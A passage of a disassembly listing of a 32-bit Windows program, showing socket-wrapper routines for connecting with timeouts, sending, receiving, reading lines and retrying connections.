		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AAF4
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AAF4
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AA8C
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AA8C
		call	sub_40196A
		test	al, al
		jz	loc_41AA8C


loc_41A9EB:				; CODE XREF: sub_41A990+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AAF4
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AA7F
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AAF4
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AA8C


loc_41AA7F:				; CODE XREF: sub_41A990+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41A9EB


loc_41AA8C:				; CODE XREF: sub_41A990+39j
					; sub_41A990+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AAF4
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAC1
		mov	[ecx], eax


loc_41AAC1:				; CODE XREF: sub_41A990+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAD9
		test	eax, eax
		jz	short loc_41AAD9
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AAD9:				; CODE XREF: sub_41A990+134j
					; sub_41A990+138j
		call	near ptr 71AB94DCh
		nop
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AAF4:				; CODE XREF: sub_41A990+13j
					; sub_41A990+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB70:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABC1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABC1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABA2
		mov	[ecx], eax


loc_41ABA2:				; CODE XREF: ___:0041AB9Ej
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABB0
		test	eax, eax
		jz	short loc_41ABB0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABB0:				; CODE XREF: ___:0041ABA5j
					; ___:0041ABA9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABC1:				; CODE XREF: ___:0041AB79j
					; ___:0041AB83j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABF0:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC0C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC0C:				; CODE XREF: ___:0041AC02j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC22


loc_41AC18:				; CODE XREF: ___:0041AC5Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC22:				; CODE XREF: ___:0041AC16j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC86
		mov	edi, ebp


loc_41AC3B:				; CODE XREF: ___:0041AC84j
		cmp	edi, ebx
		jz	short loc_41AC86
		cmp	[esp+18h], bl
		jz	short loc_41AC86
		call	sub_40196A
		test	al, al
		jz	short loc_41AC86
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC18
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC71
		cmp	al, 0Dh
		jz	short loc_41AC71
		cmp	al, bl
		jnz	short loc_41AC79


loc_41AC71:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41AC79:				; CODE XREF: ___:0041AC6Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC3B


loc_41AC86:				; CODE XREF: ___:0041AC37j
					; ___:0041AC3Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACD0:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41ACEC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ACEC:				; CODE XREF: ___:0041ACE2j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD02


loc_41ACF8:				; CODE XREF: ___:0041AD3Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD02:				; CODE XREF: ___:0041ACF6j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD6D
		mov	edi, ebp


loc_41AD1B:				; CODE XREF: ___:0041AD6Bj
		cmp	edi, ebx
		jz	short loc_41AD6D
		cmp	[esp+18h], bl
		jz	short loc_41AD6D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD6D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41ACF8
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD4D
		cmp	al, bl
		jnz	short loc_41AD60


loc_41AD4D:				; CODE XREF: ___:0041AD47j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD5A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD5C
; ---------------------------------------------------------------------------


loc_41AD5A:				; CODE XREF: ___:0041AD52j
		mov	[edi], bl


loc_41AD5C:				; CODE XREF: ___:0041AD58j
		mov	[esp+18h], bl


loc_41AD60:				; CODE XREF: ___:0041AD4Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD1B


loc_41AD6D:				; CODE XREF: ___:0041AD17j
					; ___:0041AD1Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADB0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADC2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADC2:				; CODE XREF: ___:0041ADBAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41ADD3
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADD3:				; CODE XREF: ___:0041ADCBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE00	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE12
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE12:				; CODE XREF: sub_41AE00+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE23
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE23:				; CODE XREF: sub_41AE00+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AE00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AE8F
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AE85
		cmp	[esi+80Bh], cl
		jz	short loc_41AE85
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE85:				; CODE XREF: ___:0041AE6Ej
					; ___:0041AE76j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE8F:				; CODE XREF: ___:0041AE69j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEC5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEC5:				; CODE XREF: ___:0041AEB9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF20:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF3D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF3D:				; CODE XREF: ___:0041AF31j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AF79
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF79:				; CODE XREF: ___:0041AF6Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFC0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B030	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B060
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B060:				; CODE XREF: sub_41B030+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41B030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0B0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B0F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B0F8:				; CODE XREF: sub_41B0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B130	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B142
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B142:				; CODE XREF: sub_41B130+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B195
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B167
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B167:				; CODE XREF: sub_41B130+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B17C


loc_41B171:				; CODE XREF: sub_41B130+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B171


loc_41B17C:				; CODE XREF: sub_41B130+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B195:				; CODE XREF: sub_41B130+20j
		pop	edi
		pop	esi
		retn	4
sub_41B130	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1C0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C017
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B1FF
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3AB
; ---------------------------------------------------------------------------


loc_41B1FF:				; CODE XREF: ___:0041B1E8j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B23C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B39E
; ---------------------------------------------------------------------------


loc_41B23C:				; CODE XREF: ___:0041B226j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B262
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B39E
; ---------------------------------------------------------------------------


loc_41B262:				; CODE XREF: ___:0041B24Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2A6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B390
; ---------------------------------------------------------------------------


loc_41B2A6:				; CODE XREF: ___:0041B28Bj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2B4:				; CODE XREF: ___:0041B2D2j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B2D8
		cmp	cl, bl
		jz	short loc_41B2D4
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B2D8
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2B4


loc_41B2D4:				; CODE XREF: ___:0041B2BEj
		xor	eax, eax
		jmp	short loc_41B2DD
; ---------------------------------------------------------------------------


loc_41B2D8:				; CODE XREF: ___:0041B2BAj
					; ___:0041B2C8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B2DD:				; CODE XREF: ___:0041B2D6j
		cmp	eax, ebx
		jz	short loc_41B34B
		push	ebp


loc_41B2E2:				; CODE XREF: ___:0041B335j
					; ___:0041B339j
		nop
		call	near ptr 27D09E8h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B2F6
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B33B


loc_41B2F6:				; CODE XREF: ___:0041B2EDj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B302
		mov	edi, ebp


loc_41B302:				; CODE XREF: ___:0041B2FEj
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B30A:				; CODE XREF: ___:0041B328j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B32E
		cmp	cl, bl
		jz	short loc_41B32A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B32E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B30A


loc_41B32A:				; CODE XREF: ___:0041B314j
		xor	eax, eax
		jmp	short loc_41B333
; ---------------------------------------------------------------------------


loc_41B32E:				; CODE XREF: ___:0041B310j
					; ___:0041B31Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B333:				; CODE XREF: ___:0041B32Cj
		cmp	eax, ebx
		jnz	short loc_41B2E2
		mov	edi, ebp
		jmp	short loc_41B2E2
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: ___:0041B2F4j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B358
; ---------------------------------------------------------------------------


loc_41B34B:				; CODE XREF: ___:0041B2DFj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B358:				; CODE XREF: ___:0041B349j
		push	offset byte_448F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B378
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B378:				; CODE XREF: ___:0041B368j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B390:				; CODE XREF: ___:0041B2A1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B39E:				; CODE XREF: ___:0041B237j
					; ___:0041B25Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3AB:				; CODE XREF: ___:0041B1FAj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B460:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4A0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4B8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4B8:				; CODE XREF: sub_41B4A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B4D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B540:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B580	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B690
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B690
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B5E3


loc_41B5B9:				; CODE XREF: sub_41B580+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B67F
		mov	al, byte_4E8E44
		test	al, al
		jz	short loc_41B5E3
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5B9


loc_41B5E3:				; CODE XREF: sub_41B580+37j
					; sub_41B580+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B67F


loc_41B5EE:				; CODE XREF: sub_41B580+F9j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41B67F
		test	esi, esi
		jnz	short loc_41B61E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B61A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B61C
; ---------------------------------------------------------------------------


loc_41B61A:				; CODE XREF: sub_41B580+8Ej
		xor	eax, eax


loc_41B61C:				; CODE XREF: sub_41B580+98j
		mov	esi, eax


loc_41B61E:				; CODE XREF: sub_41B580+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B637
		push	7D0h
